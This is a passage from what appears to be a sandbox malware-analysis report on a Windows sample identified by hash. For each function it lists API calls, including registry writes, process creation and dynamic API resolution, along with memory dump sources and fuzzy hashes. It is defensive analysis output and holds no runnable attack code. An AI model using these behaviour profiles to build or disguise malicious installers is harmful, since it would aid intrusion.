                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"$le@
                                            • API String ID: 3248276644-1142171758
                                            • Opcode ID: fec7732a330a9e88aa59d831f20b6da9eee86d01c908d7265f8837d9fbe5c718
                                            • Instruction ID: e7db63e0e35e78dffee219aaf6f46514b8882a9137312b684398864940085c4f
                                            • Opcode Fuzzy Hash: fec7732a330a9e88aa59d831f20b6da9eee86d01c908d7265f8837d9fbe5c718
                                            • Instruction Fuzzy Hash: DF01F22219592159D622A73A1D88EAF2584CE86364717063FFC43B21D3DF3C896389BE
                                            Function 00405807 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON
                                            Download Yara Rule
                                            APIs
                                            • CharNextW.USER32(?,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",0045FE18,?,00406059,0045FE18,0045FE18,le@,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",00000002,0040656C,?,004E00C8), ref: 00405815
                                            • CharNextW.USER32(00000000), ref: 0040581A
                                            • CharNextW.USER32(00000000), ref: 00405832
                                            Strings
                                            • "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe", xrefs: 0040580F
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CharNext
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"
                                            • API String ID: 3213498283-2569130941
                                            • Opcode ID: af5ee6a4c00f60c399368bb2218fa231c777b399e1778d3c2c7167b5008f4af5
                                            • Instruction ID: 6bad679ef2030d1c163faa7f4315505361f90d2e1b91a9a134f50fab6c33b151
                                            • Opcode Fuzzy Hash: af5ee6a4c00f60c399368bb2218fa231c777b399e1778d3c2c7167b5008f4af5
                                            • Instruction Fuzzy Hash: 1EF06D23900A20A6DB3177594C55A7B66BCEB54360B00C47FEE41A71C1A2B84CA18EAA
                                            Function 004024F8 Relevance: 6.1, APIs: 4, Instructions: 78registrystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyExW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,00000000,?,00000000), ref: 00402546
                                            • lstrlenW.KERNEL32(004120F8), ref: 00402567
                                            • RegSetValueExW.ADVAPI32(?,?,00000000,?,004120F8,00000000), ref: 004025A6
                                            • RegCloseKey.ADVAPI32(?), ref: 004025B6
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CloseCreateValuelstrlen
                                            • String ID:
                                            • API String ID: 1356686001-0
                                            • Opcode ID: eb21bdfbd278206649cafd0a134e8c3462c0890b110457211e04b26388198419
                                            • Instruction ID: e0ce6b6c9d891c2747ed896ffb728d3f7ff2228f80022de3c727e62f6400905b
                                            • Opcode Fuzzy Hash: eb21bdfbd278206649cafd0a134e8c3462c0890b110457211e04b26388198419
                                            • Instruction Fuzzy Hash: 6F21B071A00204BBEB10AF65DE89FAF7779EB44714F10813BF504B61E1D7B89A809B6C
                                            Function 00401FFE Relevance: 6.1, APIs: 4, Instructions: 53synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00404A73: lstrlenW.KERNEL32(00447D88,00424D76,74DF23A0,00000000), ref: 00404AAB
                                              • Part of subcall function 00404A73: lstrlenW.KERNEL32(0040304D,00447D88,00424D76,74DF23A0,00000000), ref: 00404ABB
                                              • Part of subcall function 00404A73: lstrcatW.KERNEL32(00447D88,0040304D), ref: 00404ACE
                                              • Part of subcall function 00404A73: SetWindowTextW.USER32(00447D88,00447D88), ref: 00404AE0
                                              • Part of subcall function 00404A73: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404B06
                                              • Part of subcall function 00404A73: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00404B20
                                              • Part of subcall function 00404A73: SendMessageW.USER32(?,00001013,?,00000000), ref: 00404B2E
                                              • Part of subcall function 004056EC: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,0045FDD0,Error launching installer), ref: 00405711
                                              • Part of subcall function 004056EC: CloseHandle.KERNEL32(?), ref: 0040571E
                                            • WaitForSingleObject.KERNEL32(00000000,00000064,?,?,?,?,?,00000000,000000EB,00000000), ref: 0040202F
                                            • WaitForSingleObject.KERNEL32(?,00000064,0000000F,?,?,?,?,?,00000000,000000EB,00000000), ref: 00402044
                                            • GetExitCodeProcess.KERNEL32(?,?), ref: 00402051
                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,000000EB,00000000), ref: 004026BD
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
                                            • String ID:
                                            • API String ID: 3585118688-0
                                            • Opcode ID: ad270f84a8785551dbcb8ed3b2656b967ed5d4589d67cc04499c355dac912d43
                                            • Instruction ID: 202ebcddbf8b426187c6ee2470dbf35ac1bf8be3455b7115f7585c4331235d23
                                            • Opcode Fuzzy Hash: ad270f84a8785551dbcb8ed3b2656b967ed5d4589d67cc04499c355dac912d43
                                            • Instruction Fuzzy Hash: 3E118231900214EADB219FA1CE08B9E7A75EB04358F104037E615B60E1C7BD8A82DB5D
                                            Function 004026EF Relevance: 6.0, APIs: 4, Instructions: 46memoryfilestringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GlobalAlloc.KERNEL32(00000040,00002004), ref: 004026F7
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,0040E0F0,000000FF,?,00002004,00000000,00000000), ref: 00402730
                                            • lstrlenA.KERNEL32(?), ref: 00402739
                                            • WriteFile.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00402756
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
                                            • String ID:
                                            • API String ID: 2568930968-0
                                            • Opcode ID: 4e4b35b0ddbdd6058c26d859be66250fdf62ee6eb5fca338a8859292909502b4
                                            • Instruction ID: ced7ad9a6504f6ed498d5adba380047bc9decdec085bb0b424ae9f8a02fb9dcb
                                            • Opcode Fuzzy Hash: 4e4b35b0ddbdd6058c26d859be66250fdf62ee6eb5fca338a8859292909502b4
                                            • Instruction Fuzzy Hash: F9014F70500205BEEB156F60CE4DBBF3A6CEF04744F10453AF641FA1E1DBB849419B69
                                            Function 00401EF0 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDC.USER32(?), ref: 00401EF7
                                            • GetDeviceCaps.GDI32(00000000), ref: 00401EFE
                                            • MulDiv.KERNEL32(00000000,00000000), ref: 00401F0E
                                              • Part of subcall function 004060CA: GetVersion.KERNEL32(00447D88,?,00000000,00404AAA,00447D88,00000000,00424D76,74DF23A0,00000000), ref: 0040619B
                                            • CreateFontIndirectW.GDI32(0041E110), ref: 00401F61
                                              • Part of subcall function 004059FF: wsprintfW.USER32 ref: 00405A0C
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CapsCreateDeviceFontIndirectVersionwsprintf
                                            • String ID:
                                            • API String ID: 1599320355-0
                                            • Opcode ID: a47370298229fbd9087b309e9c05a94d29a3d59c05c16ea411501fa641fe8ea9
                                            • Instruction ID: d6c42e3eeef43274fd936db1fda35bedcc132f3233f9f4bb317f1c521d1b95b8
                                            • Opcode Fuzzy Hash: a47370298229fbd9087b309e9c05a94d29a3d59c05c16ea411501fa641fe8ea9
                                            • Instruction Fuzzy Hash: BB018476644241AFE701ABB5AD4ABDE3BA4A715315F20883AE681B61E3CA784044CB2D
                                            Function 00402E3A Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                            Download Yara Rule
                                            APIs
                                            • DestroyWindow.USER32(00000000,00000000,00403297,00000001,?,?,?,00000000,004035D7,?), ref: 00402E4D
                                            • GetTickCount.KERNEL32 ref: 00402E6B
                                            • CreateDialogParamW.USER32(0000006F,00000000,00402DB4,00000000), ref: 00402E88
                                            • ShowWindow.USER32(00000000,00000005,?,?,?,00000000,004035D7,?), ref: 00402E96
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Window$CountCreateDestroyDialogParamShowTick
                                            • String ID:
                                            • API String ID: 2102729457-0
                                            • Opcode ID: c46447e93630878450969176786434de847f14ddf39dd8d972ff8c80f950fc89
                                            • Instruction ID: c637284af2d6cdf60ec22d353f69018081d624b8e4296ea034bdf55e3067f771
                                            • Opcode Fuzzy Hash: c46447e93630878450969176786434de847f14ddf39dd8d972ff8c80f950fc89
                                            • Instruction Fuzzy Hash: 89F05E30541A21EBC6616B20FE0CAAB7B64FB04B51B4008BFF945B11E4CB7448938BDD
                                            Function 00405C29 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GlobalAlloc.KERNEL32(00000040,00002004,00000000,00000000,00000000,0040219A,00000000,?), ref: 00405C34
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000), ref: 00405C4A
                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00405C59
                                            • GlobalFree.KERNEL32(00000000), ref: 00405C62
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Global$AddressAllocByteCharFreeMultiProcWide
                                            • String ID:
                                            • API String ID: 2883127279-0
                                            • Opcode ID: 7b8b1b869dc425c4e8d1decedcc15e3ea1801fb9e202fffad77dd5e1c54a2680
                                            • Instruction ID: e1c5d748dd31bcb7ed763deea17071bf78cda9c2e5a8ae371288e20c28570659
                                            • Opcode Fuzzy Hash: 7b8b1b869dc425c4e8d1decedcc15e3ea1801fb9e202fffad77dd5e1c54a2680
                                            • Instruction Fuzzy Hash: 00E092312001107BE2201B269E8CD6B7EACDFCA7B6B04013AF685E11A0CA308C11C678
                                            Function 004043CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • IsWindowVisible.USER32(?), ref: 00404403
                                            • CallWindowProcW.USER32(?,00000200,?,?), ref: 00404471
                                              • Part of subcall function 00403937: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403949
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Window$CallMessageProcSendVisible
                                            • String ID:
                                            • API String ID: 3748168415-3916222277
                                            • Opcode ID: 9fdaa817c79f8fe2df8c01310cb7398ca4e4993dd3d52cefc4da2c44810d4525
                                            • Instruction ID: 950938491bfceb2c9a9aaf13ad46a3c9d7f26d5a45bb245acca2c437b02a68c6
                                            • Opcode Fuzzy Hash: 9fdaa817c79f8fe2df8c01310cb7398ca4e4993dd3d52cefc4da2c44810d4525
                                            • Instruction Fuzzy Hash: 52119EB1500228EBDF11AF91DD80E9B3729AF84325F00803BFB09751A2C77D89519FAA
                                            Function 0040243C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,00002003,00000000), ref: 00402478
                                            • lstrcmpW.KERNEL32(?,?,?,00002003,00000000), ref: 00402483
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: PrivateProfileStringlstrcmp
                                            • String ID: !N~
                                            • API String ID: 623250636-529124213
                                            • Opcode ID: fc1006ea5aab162bbc40b6df3c94a123494fc128051bda68380e80ee4f4a212d
                                            • Instruction ID: 97e2760095c772b904354d470d60f9b26315119a41df21907abd1c807f0e2d98
                                            • Opcode Fuzzy Hash: fc1006ea5aab162bbc40b6df3c94a123494fc128051bda68380e80ee4f4a212d
                                            • Instruction Fuzzy Hash: 5CF01275900214ABDB00BFA8DD859AE3BBCAB08300B00412EF601F71A2D67449019B94
                                            Function 004056EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,0045FDD0,Error launching installer), ref: 00405711
                                            • CloseHandle.KERNEL32(?), ref: 0040571E
                                            Strings
                                            • Error launching installer, xrefs: 004056F5
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
